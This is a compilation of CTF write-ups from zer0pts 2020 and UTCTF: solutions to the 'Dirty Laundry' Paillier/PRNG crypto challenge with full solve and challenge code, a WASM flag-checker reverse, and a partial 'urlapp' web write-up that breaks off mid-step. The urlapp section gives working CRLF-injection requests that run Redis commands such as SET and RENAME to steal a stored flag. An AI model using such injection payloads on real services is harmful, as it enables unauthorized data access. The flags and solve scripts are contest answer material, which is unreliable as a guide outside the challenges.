```Run strings and grep utflag. And the flag is found there as utflag{str1ngs_1s_y0ur_fr13nd}
``` |
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# Dirty Laundry (crypto, 636p, 14 solved)Author: SIben
A fun crypto challenge. Realized that my solution was different from the onealready published on CTFtime, so decided to contribute a little.
We get the challenge code (**chall.py** below) and its output (**output.txt**below).Essentially, a strong 1024-bit prime is generated, and used to seed a customprng. Then, a polynomial `ax^2 + bx + c` in GF(prime) is created, where `c` isthe flag. This polynomial is then evaluated for `x in [1..5]`. A noisy value(generated using the custom PRNG) is added to this result, and the finalresult is encrypted using the Paillier cryptosystem.
Here are the steps I followed to recover the flag.
## Breaking the PRNG
The PRNG implementation is
```pythonclass PRNG256(object): def __init__(self, seed): self.mask = (1 << 256) - 1 self.seed = seed & self.mask
def _pick(self): b = ((self.seed>>0)^(self.seed>>2)^(self.seed>>5)^(self.seed>>10)^1)&1 self.seed = ((self.seed>>1)|(b<<255)) & self.mask return b
def rand(self): x = 0 for i in range(256): x = (x << 1) | self._pick() return x```
Since the state is 256-bits long, and each `_pick` operation consumes 1 bitfrom the state, the `rand` function consumes and resets one full state. It istherefore quite trivial to retrieve the state at a given point in thecomputation:
```python# Given `out` an output of the PRNG, we reconstruct the PRNG as follows:y = PRNG256(int(bin(out)[2:].zfill(256)[::-1], 2))```
Once the state is retrieved, it's easy to reverse it as well to recoverprevious output values:
```pythondef reverse_state(self): seed = self.seed for _ in range(256): cur = (seed >> 255) & 1 b0 = ((seed >> 1)^(seed >> 4)^(seed>>9)^cur^1)&1 seed = ((seed << 1) | b0) & self.mask
self.seed = seed```
Now, given any public key `(n, g)` given for the Paillier encryption step, weare able to retrieve one output of the PRNG by doing:
```pythonout = (g - 1) / n```
The reason this works is because `1 + prng.rand() * n` is systematicallysmaller than `n^2`, as `prng.rand()` is 256 bits long, and `n` is 1536 bitslong.
So with this, we know all the values output by `prng.rand()` during theencryption. Bonus: we know the low 256 bits of `PRIME`, as it is used tooriginally seed the PRNG.
## Decrypting the Paillier encryption
```pythondef paillier_enc(m, p, noise): p = next_prime(p + noise) q = getStrongPrime(512) n = p * q g = (1 + prng.rand() * n) % n**2 c = pow(g, m, n**2) * pow(prng.rand(), n, n**2) % n**2 return n, g, c```
Since we know all the outputs of the PRNG as well as `n`, `g` and `c`, we cannow retrieve:
```pythonpow(g, m, n**2) = c * pow(prng.rand(), n, n**2)**(-1) % n**2```
Although this is an instance of the DLP, it has certain properties that allowus to compute it easily (the Paillier cryptosystem actually relies on that).
The rule can be informally given as:
```python(1 + n)**m = 1 + mn [n**2]```
Since `g = 1 + k*n` for some integer `k`, we have that:
```pythong**m = (1 + k*n)**m = 1 + m*k*n [k**2*n**2]```
This is not exactly what we have here but `1 + m*k*n` is still smaller than`n**2` since m is 1024 bits long and k is 256 bits long (1024 + 256 < 1536).Thus, since `k**2*n**2 % n**2 == 0`, we have that:
```pythong**m = 1 + m*k*n [n**2]```
From that, it's trivial to recover `m`. Here is sample code:
```pythonr = pow(rng.rand(), n, n**2)m = (c * invert(r, n**2)) % n**2
assert (m - 1) % (g - 1) == 0
m = (m - 1) / (g - 1)```
With that, we recovered the `m` parameter of the call to `pailler_enc`. Toretrieve the result of the polynomial evaluation, we just subtract the noisevalue that was generated using the broken PRNG.
```pythonm = m - noise```
## Recovering PRIME
Doing the previous step, we can recover the evaluation of the polynomial infive points, such that we have:
```pythonprime = PRIME
m1 = m[0]m2 = m[1]m3 = m[2]m4 = m[3]m5 = m[4]
# x = 1, a + b + c = m1 [prime]# x = 2, a*4 + b*2 + c = m2 [prime]# x = 3, a*9 + b*3 + c = m3 [prime]# x = 4, a*16 + b*4 + c = m4 [prime]# x = 5, a*25 + b*5 + c = m5 [prime]```
We are looking for some linear combinations `L`, such that on principle,`L == 0`. However, if we find a case where `L` should be `0` and isn't, thenwe have found a multiple of `PRIME`, most likely with low divisors if any. Goodcandidates for this `L` would be `L = x - x` where `x` is represented by twodifferent values.
I found the following:
```python# 2a = 6a - 4aa2p = (2 * m1 + m4 - 3 * m2) - (m4 - m3 - m2 + m1)
# 6aa6p = (2 * m1 + m4 - 3 * m2)# 8aa8n = m5 - m3 - m3 + m1
# 2a = 8a - 6aa2n = a8n - a6p
# YAY, it's the prime!PRIME = a2p - a2n
# Bonus: possible to check that the value looks good.assert PRIME % 2**256 == orig_rng.seed % 2**256```
With `PRIME` known and the equations available, it is now trivial to recoverthe flag:
```pythoninv2 = invert(2, PRIME)
a = (a2p * inv2) % PRIMEb = (m2 - m1 - 3*a) % PRIMEc = (m1 - a - b) % PRIME
print(hex(c)[2:].replace('L', '').decode('hex'))```
And we get: `zer0pts{excellent_w0rk!y0u_are_a_master_0f_crypt0!!!}`.
Complete solution, original challenge file and commented challenge fileavailable below.
# Appendices
## solve.py
```pythonfrom gmpy2 import invert, gcd
# Copy-pasting because I am lazyshares = ...snipped...
pubkeys = ...snipped...
class PRNG256(object): def __init__(self, seed): self.mask = (1 << 256) - 1 self.seed = seed & self.mask
def _pick(self): b = ((self.seed>>0)^(self.seed>>2)^(self.seed>>5)^(self.seed>>10)^1)&1 self.seed = ((self.seed>>1)|(b<<255)) & self.mask return b
def rand(self): x = 0 for i in range(256): x = (x << 1) | self._pick() return x
def reverse_state(self): seed = self.seed for _ in range(256): cur = (seed >> 255) & 1 b0 = ((seed >> 1)^(seed >> 4)^(seed>>9)^cur^1)&1 seed = ((seed << 1) | b0) & self.mask
self.seed = seed
# Get output from the first call to prng in paillier:n0, g0 = pubkeys[0]_, c0 = shares[0]
out = (g0 - 1) / n0
# Original seeded RNGorig_rng = PRNG256(int(bin(out)[2:].zfill(256)[::-1], 2))for _ in range(2): orig_rng.reverse_state()
# RNG at that point in timerng = PRNG256(int(bin(out)[2:].zfill(256)[::-1], 2))
# Retrieving noise valuefor _ in range(2): rng.reverse_state()
noise = rng.rand()
# Resetting the rng to the right place.for _ in range(1): g0_base = rng.rand() assert g0_base * n0 + 1 == g0
r0 = pow(rng.rand(), n0, n0**2)m0 = (c0 * invert(r0, n0**2)) % n0**2
assert (m0 - 1) % (g0 - 1) == 0
m0 = (m0 - 1) / (g0 - 1)m0 = m0 - noise
assert m0 == m0 % n0
m = [m0]noises = [noise]ns = [n0]
for i in range(1, len(pubkeys)): n, g = pubkeys[i] _, c = shares[i]
noise = rng.rand()
# Skip calls to rng for _ in range(1): g_base = rng.rand() assert g_base * n + 1 == g
ri = pow(rng.rand(), n, n**2) mi = (c * invert(ri, n**2)) % n**2
assert (mi - 1) % (g - 1) == 0 mi = (mi - 1) / (g - 1) mi = mi - noise
# Should be the case? assert mi % n == mi
m.append(mi) noises.append(noise) ns.append(n)
m1 = m[0]m2 = m[1]m3 = m[2]m4 = m[3]m5 = m[4]
# 2a = 6a - 4aa2p = (2 * m1 + m4 - 3 * m2) - (m4 - m3 - m2 + m1)
# 6aa6p = (2 * m1 + m4 - 3 * m2)# 8aa8n = m5 - m3 - m3 + m1
# 2a = 8a - 6aa2n = a8n - a6p
# YAY, it's the prime!PRIME = a2p - a2n
assert PRIME % 2**256 == orig_rng.seed % 2**256
inv2 = invert(2, PRIME)
a = (a2p * inv2) % PRIMEb = (m2 - m1 - 3*a) % PRIMEc = (m1 - a - b) % PRIME
print(hex(c)[2:].replace('L', '').decode('hex'))```
## chall.py
```python#!/usr/bin/sagefrom sage.all import *from Crypto.Util.number import getStrongPrime, bytes_to_long
from secret import flag
class PRNG256(object): def __init__(self, seed): self.mask = (1 << 256) - 1 self.seed = seed & self.mask
def _pick(self): b = ((self.seed>>0)^(self.seed>>2)^(self.seed>>5)^(self.seed>>10)^1)&1 self.seed = ((self.seed>>1)|(b<<255)) & self.mask return b
def rand(self): x = 0 for i in range(256): x = (x << 1) | self._pick() return x
PRIME = getStrongPrime(1024)prng = PRNG256(PRIME)
def paillier_enc(m, p, noise): p = next_prime(p + noise) q = getStrongPrime(512) n = p * q g = (1 + prng.rand() * n) % n**2 c = pow(g, m, n**2) * pow(prng.rand(), n, n**2) % n**2 return n, g, c
def make_shares(secret, k, shares, prime=PRIME): PR, x = PolynomialRing(GF(prime), name='x').objgen() f = PR([secret] + [ZZ.random_element(prime) for _ in range(k-1)]) xy = [] pubkey = [] for x in range(1, shares+1): noise = prng.rand() n, g, y = paillier_enc(f(x) + noise, prime, noise) pubkey.append([n, g]) xy.append([x, y]) return pubkey, xy
secret = bytes_to_long(flag)pubkey, shares = make_shares(secret, 3, 5)
print("[+] len(flag):", len(flag))print("[+] pubkey:", pubkey)print("[+] shares:", shares)```
## commented_chall.py
```python#!/usr/bin/sagefrom sage.all import *from Crypto.Util.number import getStrongPrime, bytes_to_long
from secret import flag
class PRNG256(object): def __init__(self, seed): self.mask = (1 << 256) - 1 self.seed = seed & self.mask
def _pick(self): b = ((self.seed>>0)^(self.seed>>2)^(self.seed>>5)^(self.seed>>10)^1)&1 self.seed = ((self.seed>>1)|(b<<255)) & self.mask return b
def rand(self): x = 0 for i in range(256): x = (x << 1) | self._pick() return x
PRIME = getStrongPrime(1024)prng = PRNG256(PRIME)
def paillier_enc(m, p, noise): p = next_prime(p + noise) q = getStrongPrime(512) n = p * q # g is much smaller than n**2, so we can retrieve prng.rand() for each # share g = (1 + prng.rand() * n) % n**2 # Here we can find all the m from (1 + n)^x = 1 + nx [n^2] # <=> (1 + kn)^x = 1 + knx [(kn)^2] c = pow(g, m, n**2) * pow(prng.rand(), n, n**2) % n**2 return n, g, c
# (p * q1) = n1 - (noise1 * q1)
# (p + noise1) * q1 = n1# (p + noise2) * q2 = n2# (p + noise3) * q3 = n3
# given one output of PRNG256.rand(), we retrieve the seed for the next calls# as such:# y = PRNG256(int(bin(out)[2:].zfill(256)[::-1], 2))# earliest we can retrieve is from the first g, by taking out = (g - 1) / n.# Then it can be reverted to find the noise & the low 256 bits of p.# Then the problem is DLP, but an easy instance.
# From the m, we can deduce the shares:# x = 1, a + b + c = m1 [prime]# x = 2, a*4 + b*2 + c = m2 [prime]# x = 3, a*9 + b*3 + c = m3 [prime]# x = 4, a*16 + b*4 + c = m4 [prime]# x = 5, a*25 + b*5 + c = m5 [prime]
def make_shares(secret, k, shares, prime=PRIME): PR, x = PolynomialRing(GF(prime), name='x').objgen() f = PR([secret] + [ZZ.random_element(prime) for _ in range(k-1)]) xy = [] pubkey = [] # Loop of length five for x in range(1, shares+1): noise = prng.rand() n, g, y = paillier_enc(f(x) + noise, prime, noise) pubkey.append([n, g]) # x is the polynomial parameter and c the ciphertext xy.append([x, y]) return pubkey, xy
secret = bytes_to_long(flag)pubkey, shares = make_shares(secret, 3, 5)
print("[+] len(flag):", len(flag))print("[+] pubkey:", pubkey)print("[+] shares:", shares)```
## output.txt
```python[+] len(flag): 53[+] pubkey: [[1341233826702376842498119940039016826282055747303464974435594326637538907180149241566365225911074218597539880291426265503244204409536388336349105099303221252199164187921036400118788488925884552440483653638244202969641876448593915624469362160298646189903056069767976491733960779483023305191435635289734365528710722401088230332490023131911734288011232016872906051832164035804891447455672110954242647111735228814935698789659541198379357658233047482430645842400366769, 26674131724614738833784434076708623929346303545393320399944409878863187402150503055207795853307211144249179748395076848334742855586049336411971031238044174387954252693537728148985955948048292029557791508049506146642880016520533230306989498523300220064692662847160710441255197572391506435448482713046019266895261344521636514739951705743608587218033949609867770113753539973249063631220635085754002655371345431327359674264770777710263422098079037291585196293197114766337658570276078577504309446984989309950901135119579313915133962619448102748], [1411836429669183892966134560305538366838547135114531535251720851922638607907850507674940852917802242615202155607148892358461384679202044548831141295353829571829695255020484687938869019916289932148352179781631904110271902114010910086393396910500275240681423526254331492385949217178047157696773667958133033180038804263460584550022281663780195927924119675790311322672399731902027722031296853164002026620552741589967849779933976523556743919696732887883645621044361611, 54901986783642835051699889113428335659585153809842942356885004842920465421336706391742814742564346205356241657334450930082155461145433648171896778260206136182255774717095790534292114459150791413586339545764791219429615253607065582132297246948860985575596282841990693455389149847062253133706015420405086059551754437445312366999921584484205222674268615179520174172834649126131935196501454388399695961162329114143523185659562031324488650262065740579199795214468943489727171700351304387397461071307646615194578618714043441377328663670751933627], [1827670639023479057974423662769264575893916686880865506873460556631343496594640149665454545389837639322275346518374263849034235979447405363606817187890637783196194162726024155794431981524906947485134171466324929779048499566048313669091401079263506127226379009753084566863868890271238236467261185095363669354791741608878314575987029663948818461252180763032199904220494918133642971421746749038691538192915859604276912102975568194119467980419612286906176868952703619, 141955627685405861596265155634043580262274251775483613944451161608579951914157317215316282492132012795129761525653914539354069858559035449093879514616280531615371142125208924414389214738475566668885506757054698120214732427844927492109681218414883961942239601431792698791724207705264637074459890882510377535948407156226101316457666689930453121343643609559536469767469803312169661110669941502466830780526471703979445391121676012137033701185329849968518454602730837677935298633914797575550202371889703865031673251813095889426000075905120210715], [1402052496936016320097183149388969226815975944499402219852856803114088852450193317864886134127265736138410526536722880486066577543930136034727844243512981614084924117627899623040044660188020312540158405739267327536264551679882312483493710047604544613918162585552941665913115010517121759370648692761286982491236666306877105976920137441035714264352280173247224313429635552985171274872512067599818448065403462190853902179488909659352339753894521914217223448955215971, 86436796561750399172835178406595458158200152808363576725949152209752050457844658406574932376510960241857243310231191629391788175840467781934160642603459961684570827889722817126673212897198457329009359718685889481495826330541120466944045405490044949949259866864077324005529448874478602844692164951174440203087657096219194318354305991767616656455848089449159017933275879827733328877162500978230626795632715808168172022720272496925901610663582044355831900584113960342572153829531696471382379336709069115911649499884361699625754418888357105356], [1342704677106999319938700388688741153377785166648218447242877900112547844266669406514804811924511017558918915960330401218483170328967889513789896923310776509048521832125539811902549091395153161067069971385687776610710438852173147435486069694433486331195576027716222479219032032167578074212853391036064686760331515843088926026790746958731708142341497399752153088465594599246790180097507576747721603670126927119225609501504821203851575717696464442894256866979152071, 151778423244836361358618726678490961359665141861531434745037765026759553125937345447572403824004985824284188179016742237419300096576909738404031925822083587101759301624897645367726786635718018753092807084873240915940763159043557284908261185169254084475196021977237239622460403373815939034200532293365581548664725892312716054043939540402460543140481578956351181169010805594314620139932866466533726652277935117332880706565744981667712583109377942817662191762058437395347618376144282145949244368040832594427185427142218601311894439404196869044]][+] shares: [[1, 597508787369395694379078055274758557631538862739941784216641187447047696613646680523204534254585433553841883904815873020522119769161150848487658944289025139852884425534715254212765760070437058597554314741974198161950731308938774064571532399460855957695621714795771549456243813779399463109411846725520743344118554521413815793297768851076100135443002760221642947948812785225122631701884241216019284262219988306790748365483241216049579680655534490056279281295122379176443966669667315043992274193717298501474638381448820981658485993472350525815696097401765948865514729845467484551526100202532018343011967560856014086051860031235536215643818290727062383335942089683311730283931932548912461126311217820002459492022071267001562804194559301166310110244724819006466684456151803974731484616982434451280906366032894303395363863415992620820995729046300233942195095878917887892047030748729267329243516360791348477702146680442138382721731], [2, 1456602020473336436595302182756958090511415476510657696986700623481719785551149148046222482541285365312188959543693509514194665154201380523065476755444520574235515226702501340621170242202481024616882142010693536315240074931107987736512086290237614373546387137118763177589626855206838418103751404170044959913691735814429141324338320985853997370723970242452295801714270370307506226450063833723978620621565509156414542500828358085837989711050634637181122088180962097398190523961973415973551114076986713383243786853784427170667899647985426058777600468130304251574650780445218699779580427275505399994170596637813422179447545139427789051628741760457519163521253124217051884027796849542531386743511788474207049545545002209680929220223136064442178057025754413867781284144371821327271523387818972046823739716532656252490038504917848103009173556160906958786293914926056507083575731302212603218169279706378356509037364037831069878231086], [3, 1595390928798835569336924563570335102923880736692143989367168050283822219400199743337809496383236309872055902908859973435410009867512480962418933647220942557496021772016027755153856780432756247783750165029188435931829475752098685139218491512524939261083097196175538068246302620283880442794354650203913256502298415299185414984420565985768541932846631373242689036582178180151029187744659165675733768586790929935335022733816827888717408760672442814312920814112098749134708381258920239270611481275188904733904484814532961896311957117153388398557892281039130937627251977203045005113457955326984992365109238884156875118258875576742912093629961904108637328565523791833431848861487780279931219592300441525537266970002720517825091950356133381996157142667046040400474609347986971206237389511449743320732065481903260813584781835955382208803634275373602785992176618584713593998708722680023507255977968510697362982348044089009664597010849], [4, 1011012847725577745336080393532189501492336190558468303901251128666948418862933107036802327706950463653743889588322849131239222018844807849320331335500253801822404870042943180018988070672118930708294758392176800835465940314497189212667345256623160148381248676718065742459754530766291525548914975338009832256832712589706835806517309607232698495103676951407256990497727674074485975124944372384103938197756270712242538878327377737064117888518506218677244903776303353809628478075251845418928422454505051034628606854452823018144040158582352384256981850775768889499743760124313790601039804655287368427678715298719610014768027055861100647302291703640051847379108339724116217620803865940790490720181318014407063347236752588796661376810081172579531972899972207972694482013181432385593628852052754597961311854114120889315842451116669964549895840227042765846799089720825799247881359370434521814841837587026380076995924399761319705723220], [5, 585069911394639305069783453652980853778745872799905806085352980735658699442233349825102728267563130252863283620016490723644364840781783036228871276919495247201207769697803633760636387168623971368425694237096294184568991213677440659398241600565247753979592046970818227704368395870777535026523567976874952173624307944192305292867662966386645876919788206043645183603762002422420998136405555517112532618282483706131862387809257609229574812285296154253501278056085465591743515177435365781927790199047842732048344042345351145298190659111295473008507446985055866290274758068271147032318530780490684852153963206087326840116434394159695925404604438964668680275485416592324577630006500633520246499405212932824588562414909326852417065336364436077691987208909857190371325101826958691831214195954288881703669647778463778679987622877010187433236808312183932607053247793338457198918138891876330549197934696966944916096701567755521275990739]]``` |
Solved by: krystalgamer
# WASM(nasm) Fans Only
### Requirements
- wabt - (wasm2c) converts wasm to c- c compiler- chromium based browser (couldn't get it to work on firefox)- disable any script/ad-blocker since it may block the wasm file- decompiler (not necessary but helpful)
### verifyFlag.js
Analyzing the file there's two interesting functions: `lose` and `win`.
Set a breakpoint on `lose` and press login. According to call-stack it was called from the wasm module, more precisely the `verify_flag` function.
If the call to `function23` returns 0 then it doesn't even go into the big loop.
### Deep diving
Download the wasm module run:`wasm2c verifyFlag.was -o converted.c`Converted module dependecy: https://github.com/WebAssembly/wabt/blob/master/wasm2c/wasm-rt.h`cc -c converted.c`
#### function23
Calls `function25` and checks whether the result is 24. After that goes into a loop and checks for character `'}'`.
#### function25 (strlen)
Starts by checking memory alignment of the passed `ptr` and if it finds any zero byte, quits immiediatelly returning 0.Then it goes into a loop, incrementing a pointer, and performing this check: `v - UINT64_C(0x0101010101010101)) & ~(v) & UINT64_C(0x8080808080808080);`, which is a zero byte checker, used as a `strlen` performance enhancement. It then returns `ptr-argument`. It's a `strlen`.
Conjugating this knowledge, this function must be checking the structure of the data passed. 24 characters and ending with a `'}'` -> `utflag{16_chars_here}`.
### Backtracking `lose` calls
Besides the one mentioned above there's another one, that is called in a tight loop check.```while(..) if(x!=y) return lose()win()```
Two buffers are being compared, the result of `function9` and another that was already in memory in position `5245584`(the encrypted flag!).
#### function9
The real name of this function is `aes_encrypt_block` and takes three arguments. `(buffer_to_encrypt, key, output_buffer)`.The `buffer_to_encrypt` is a ptr to the password field, starting after the `'{'`, the key is `nasmfans.ga` and the output_buffer is `5245568` (contiguous to the encrypted flag!).
#### Encrypted flag
Having the key `nasmfans.ga` and the encrypted key `[15, 174, 248, 89, 132, 177, 40, 103, 40, 24, 136, 23, 100, 211, 37, 42]`. We can just decrypt it.
```from Crypto.Cipher import AES
encrypted = [15, 174, 248, 89, 132, 177, 40, 103, 40, 24, 136, 23, 100, 211, 37, 42]
key = bytearray()
for c in 'nasmfans.ga': key.append(ord(c))
while len(key) != 16: key.append(0)
cipher = AES.new(bytes(key), AES.MODE_ECB)
enc_buffer = bytearray()for e in encrypted: enc_buffer.append(e)print(cipher.decrypt(bytes(encrypted)))
```
Which yields `fPRv38aICAz31Ix7`. The flag is `utflag{fPRv38aICAz31Ix7}`
Feel free to reach out to me for any questions.
##### Final notes on function10
I can't leave without talking about this piece of shit, that took me a lot of time to understand. It just converts an array to a matrix. For some reason I thought the name `aes` was just to troll... |
<h1> Dirty Laundry Challenge Writeup [Crypto] </h1>
The description of this challenge doesn't give much information about the challenge. In the given attachments, there are twofiles `chall.py` and `output.txt`.
This challenge is a combination of shamir secret sharing scheme and paillier cryptosystem.
First, it chooses a 1024 bit Prime p, and defines a sharmir secret sharing scheme with flag as the secret with number of sharesequal to 5 and k = 3 (i.e requires minimum of 3 shares to obtain the secret). Each of the share(f(x)) is combined with a noiseterm ei and are encrypted with the paillier cryptosystem. For each share a new key pair of paillier cryptosystem is generated.
we are given the x , encrypted f(x) and correspoding paillier public key \[n, g\].Corresponding code snippets are ::
Shamir secret Sharing ::```pythondef make_shares(secret, k, shares, prime=PRIME): PR, x = PolynomialRing(GF(prime), name='x').objgen() f = PR([secret] + [ZZ.random_element(prime) for _ in range(k-1)]) xy = [] pubkey = [] for x in range(1, shares+1): noise = prng.rand() n, g, y = paillier_enc(f(x) + noise, prime, noise) pubkey.append([n, g]) xy.append([x, y]) return pubkey, xy``` Paillier Encryption code :: ```python def paillier_enc(m, p, noise): p = next_prime(p + noise) q = getStrongPrime(512) n = p * q g = (1 + prng.rand() * n) % n**2 c = pow(g, m, n**2) * pow(prng.rand(), n, n**2) % n**2 return n, g, c```
All the noises and random values required for paillier encryption are generated using PRNG256 class defined in `chall.py`.
In the paillier_enc function, observe that all the public keys `ni` contains `(p + noise(ei))` as a factor. `p` is same for all the`ni`. My intial thought was to use this fact to solve the challenge, but I haven't got any lead. So, I left that thought and looked for any other ways and I finally took the following approach to solve this challenge.
First step is to decrypt the paillier encrypted shares.Paillier encryption in this challenge works as follows.
```generate n = p*q (p & q are primes) generate g = (1 + r1*n) mod n**2 (r1 can be random or equal to 1) ciphertext = (g**m)*(r2**n) mod n**2 (m is the message we want to encrypt and r2 is a random value). ```
To decrypt we would need phi(n) = (p-1)\*(q-1) which requires factorization of n.
Another way, we can decrypt the paillier encrypted ciphertext that I used requires the random values r1 and r2.
Given r1, r2 (random values used in paillier encryption) and \[n, g\] (public key) and ciphertext. we can obtain (g\**m) mod n\**2 by multiplying ciphertext c with the inverse of (r2\**n) modulo n\**2. given the (g\**m) we can obtain the message `m = (g**m - 1)/(r1*n)` The proof of this is ```Using the Binomial Expansion (1 + r1*n)**x = 1 + x*(r1*n) + (xC2)*(r1*n)**2 + ...(1 + r1*n)**x mod n**2 = 1 + x*(r1*n) mod n**2
x = (((1 + r1*n)**x) - 1)/(r1*n)
g = (1 + r1*n) g**m mod n**2 = (1 + r1*n)**m mod n**2 = 1 + m*(r1*n) mod n**2m = (g**m - 1)/(r1*n)```
we have all the terms except r1 and r2. we can obtain r1 from g and n.
```g = (1 + r1*n) mod n**2 (1 + r1*n) < n**2. ```As (1 + r1\*n) is less than the n\**2 the value doesn't overflow and modulo doesn't matter.We can obtain the r1 `r1 = (g-1)/n`.
Remember that all the random values used for the noises and in paillier encrption are generated by PRNG256 class.PRNG256 is a LFSR and contains state of single 256 bit number. PRNG256 contains a method rand which generates bit stream of length 256 and returns the integer.One can easily observe that given a single output of rand() method we can simply generate all the next random values returned by rand() method.
For each share we can obtain r1 using the above method. r1 and r2 are generated using prng.rand(). so, we can simply obtainr2 too and Using them we can successfully decrypt the paillier encrypted shares.
After the successfully decryption of shares, we doesn't not obtain the f(x) but f(x) + noise(ei). we have to find the noise term for each share and subtract it from the decrypted (f(x) + ei) for f(x).
Notice that noise terms are also generated using PRNG256 and PRNG256 is not seeded everytime (not seeded for each share).We are given 5 encrypted shares, we can obtain r1 used in the encryption of first share and generate all the random numberswhich are used afterwards. So, In this way we can also generate the noise used for shares 2,3,4,5 and successfully obtain the f(x2), f(x3), f(x4), f(x5).Along with x2, x3, x4, x5 and f(x2), f(x3), f(x4), f(x5) we also have to know the field in order to extract the secret.If we know the prime p, we can use lagrange interpolation on the points (xi, f(xi)) over GF(p) and calculating f(0) givesthe secret.But we don't know the prime p.To obtain the prime p we use the fact that f(x) is quadratic polynomial (degree = 2) and lagrange polynomial gives the lowestdegree polynomial.As degree of f(x) is 2 the coefficient of monomial x\**3 in lagrange polynomial should be zero modulo p (i.e multiple of p).
If we have more than 4 shares we can select a random subset of the 4 points and calculate the coefficient of 3rd degree monomial and gcd of all such coefficients would give the p directly and sometimes we would have to remove small factors to obtain prime p.Here we have only 4 shares we can only obtain a single number which contains p as factor. Lucky for us the coefficient has a very smalladditional factors and removing them gives our required prime p.
After obtaining p, we can calculate the flag using above mentioned method.
<h4> FLAG :: zer0pts{excellent_w0rk!y0u_are_a_master_0f_crypt0!!!} </h4>
You can see the implementation of the solution [here](https://github.com/S3v3ru5/CTF-writeups/blob/master/zer0pts/dirty%20laundry/solve.sage).<h1> References </h1>1. Shamir's Secret Sharing 2. Paillier Cryptosystem 3. Balsn's Writeup of RCTF 2019 Crypto Challenge f(x) |
# ▼▼▼urlapp(Web, 426pts, 32/432=7.4%)▼▼▼This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
※Number of teams that answered one or more questions, **excluding Survey and Welcome**: 218
⇒32/218=14.8% ---
## 【Check source code】
### 1.docker-compose.yaml
```version: '3'services: redis: image: redis:5 command: "redis-server /redis.conf" volumes: - "${PWD}/challenge/redis.conf:/redis.conf" ports: - 6379:6379 app: build: . ports: - 8004:4567```↓
The redis server may have open ports to the outside. (may be blocked by WAF)
↓
**(Try 1)**
`redis-cli -h 3.112.201.75 -p 6379`
↓
Can not connect. It is prevented by WAF...
---
### 2.Dockerfile```FROM ruby:2.7
RUN mkdir /appWORKDIR app
ADD challenge/Gemfile GemfileADD challenge/Gemfile.lock Gemfile.lock
RUN bundle install
ADD challenge/app.rb app.rbADD challenge/index.html index.htmlADD challenge/flag.txt flag.txt
CMD bundle exec ruby app.rb -s WEBrick -e production -p 4567```↓
Find flag location.
---
### 3.app.rb```require 'sinatra'require 'uri'require 'socket'
def connect() sock = TCPSocket.open("redis", 6379)
if not ping(sock) then exit end
return sockend
def query(sock, cmd) sock.write(cmd + "\r\n")end
def recv(sock) data = sock.gets if data == nil then return nil elsif data[0] == "+" then return data[1..-1].strip elsif data[0] == "$" then if data == "$-1\r\n" then return nil end return sock.gets.strip end
return nilend
def ping(sock) query(sock, "ping") return recv(sock) == "PONG"end
def set(sock, key, value) query(sock, "SET #{key} #{value}") return recv(sock) == "OK"end
def get(sock, key) query(sock, "GET #{key}") return recv(sock)end
before do sock = connect() set(sock, "flag", File.read("flag.txt").strip)end
get '/' do if params.has_key?(:q) then q = params[:q] if not (q =~ /^[0-9a-f]{16}$/) return end
sock = connect() url = get(sock, q) redirect url end
send_file 'index.html'end
post '/' do if not params.has_key?(:url) then return end
url = params[:url] if not (url =~ URI.regexp) then return end
key = Random.urandom(8).unpack("H*")[0] sock = connect() set(sock, key, url)
"#{request.host}:#{request.port}/?q=#{key}"end
```
---## 【Goal】
```before do sock = connect() set(sock, "flag", File.read("flag.txt").strip)end```↓
The flag is stored in redis and is initialized at each access.
---
## 【Vulnerability identification】
```get '/' do if params.has_key?(:q) then q = params[:q] if not (q =~ /^[0-9a-f]{16}$/) return end
sock = connect() url = get(sock, q) redirect url end
send_file 'index.html'end```↓
In Ruby, regular expressions can be bypassed by **CRLF injection**.
In Redis, NoSQL Injection vulnerability by **CRLF injection**.
---
**(Try 2)** In Ruby, regular expressions can be bypassed by CRLF injection.
try to get the flag in redis.
↓
`GET /?q=flag%0a0000000000000000` ⇒ No response!!
↓
Since Dockerfile is given, build the environment and check the log.```11.108.19.80 - - [08/Mar/2020:04:51:05 +0000] "GET /?q=flag%0a0000000000000000 HTTP/1.1" 302 - 0.0019[2020-03-08 04:51:05] ERROR URI::InvalidURIError: bad URI(is not URI?): "http://my_server/flag{secret}" /usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:67:in `split' /usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:73:in `parse' /usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:117:in `convert_to_uri' /usr/local/lib/ruby/2.7.0/uri/generic.rb:1101:in `merge' /usr/local/lib/ruby/2.7.0/webrick/httpresponse.rb:298:in `setup_header' /usr/local/bundle/gems/rack-2.2.2/lib/rack/handler/webrick.rb:17:in `setup_header' /usr/local/lib/ruby/2.7.0/webrick/httpresponse.rb:225:in `send_response' /usr/local/lib/ruby/2.7.0/webrick/httpserver.rb:112:in `run' /usr/local/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'```
↓
Flag can be obtained from redis.
After the value is reflected in the **Location header**, it seems that **No Response** is caused by **{** and **}**.
---
**(Try 3)** In Redis, NoSQL Injection vulnerability by CRLF injection.
Try running the redis command **'set test test'**.
↓
```POST / HTTP/1.1Host: 3.112.201.75:8004Content-Type: application/x-www-form-urlencodedContent-Length: 39url=%0aset%20test%20test$0a0000000000000000```↓
`GET /?q=test%0a0000000000000000` ⇒ `Location: http://3.112.201.75:8004/test`
↓
It was confirmed that **the set command could be executed.**
---
## 【Consider how to get redis flag?】
**Method 1:** Save the flag once in another location and update the flag so that the flag is not overwritten
**Method 2:** If there is a sleep() function, etc., get the time difference
**Method 3:** Arbitrary code can be executed and data is sent to the outside with a command like curl
↓
As a result solved by **method 1**.
---
## 【Investigation of redis function】
I found a command that could be used.
**"RENAME"** : Change the key name
**"SETRANGE"** : Change the number of characters from the beginning to the specified value
---
## 【Investigation using two functions】
```GET /?q=kazkiti3%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/ ※Confirm that kazkiti3 is not usedGET /?q=%0aRENAME%20flag%20kazkiti3%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/GET /?q=kazkiti3%0a0000000000000000 ⇒No response```
↓
**"RENAME"** is enabled, and it seems that kazkiti3 is set with flag.
---
flag format is zer0pts{???????}.
↓
Since the beginning is 0th, **"{"** is the **7th**.
---
### (Check the character length of flag)
Use **"SETRANGE"** to change to **"1"** from the beginning
↓
